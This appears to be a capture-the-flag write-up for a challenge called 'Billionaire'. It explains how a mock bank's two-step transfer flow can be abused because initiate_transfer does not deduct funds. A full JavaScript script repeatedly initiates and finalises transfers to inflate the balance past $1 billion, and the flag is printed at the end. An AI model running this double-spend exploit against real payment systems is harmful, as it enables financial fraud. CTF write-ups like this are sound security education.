Billionaire
Thank you to Tom Lynch for submitting this writeup!
Billionaire
Challenge description
I wanna be a billionaire so f*cking bad / Buy all of the things I never had
“Billionaire” - Travie McCoy ft Bruno Mars
Approach
At accounts.php
we see a banner that reads:
Leftman Brothers Super Secret Club
Locked — requires total balance in a single account of at least $1,000,000,000.00.
So we want to somehow get 1 Billion dollars in our account.
We can create a second checking account at open_account.php
.
If we transfer some money from our first account to our second, we see that there are two steps to each transfer.
initiate_transfer.php
has us choose the amount and where to send it.finalise_transfer.php
has us confirm the details.
Initiate transfer wont let us send more money than we have, but doesnt take the money out of our account, this means we can initiate multiple transfers and finalise them all afterwards.
Analysing the network tab in the browser dev tools we can see that:
initiate_transfer
needs an account id, account name, and amount. (and a description but we can omit it)finalise_transfer
needs a transfer id (tid)
All of these details can be extracted from the HTML of prior steps.
So if we get our account details from transfer.php
, initiate multiple transfers to initiate_transfer
, get the transfer ids, and finalise them all at finalise_transfer
, we should be able to increase our balance.
Javascript implementation:
const URL = "http://leftmanbrothers.ctf.urisc.club/netbank/";
async function get_accounts() {
const transfer_page = await fetch(`${URL}transfer.php`);
const transfer_html = await transfer_page.text();
const regex = /"(\d+)">\s*((?:LB-)?\d+) — \$(-?[\d,.]+)/g;
const accounts = [];
let match;
while ((match = regex.exec(transfer_html))) {
accounts.push({
id: match[1],
name: match[2],
balance: parseFloat(match[3].replaceAll(",", "")),
});
}
return accounts;
}
async function post(url, params) {
const response = await fetch(`${URL}${url}.php`, {
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body: params,
method: "POST",
});
return await response.text();
}
while (true) {
const accounts = await get_accounts();
// account with most money
let from_account = accounts.reduce((prev, current) =>
prev.balance > current.balance ? prev : current,
);
// any other account
let to_account = accounts.find((account) => account !== from_account);
console.log("Balance: " + from_account.balance);
if (from_account.balance >= 1_000_000_000) {
console.log("We're rich!");
break;
}
let tids = [];
// start transaction
const params = `from_account=${from_account.id}&to_account=${to_account.name}&amount=${from_account.balance}`;
for (let i = 0; i < 3; i++) {
const html = await post("initiate_transfer", params);
const match = html.match(/"tid" value="(\d+)"/);
const tid = match[1];
tids.push(tid);
}
// finalize transactions
for (let i = 0; i < 3; i++) {
const params = `tid=${tids[i]}`;
await post("finalise_transfer", params);
}
}
Returning to accounts.php
, we can see the banner has changed:
Congratulations, high roller. Your access is unlocked.
Club Password: RISC{livin_the_luxury_lifestyle_fr_fb3c001ee2725c0c3f5e3a39059f75c6}
Our flag is:
RISC{livin_the_luxury_lifestyle_fr_fb3c001ee2725c0c3f5e3a39059f75c6}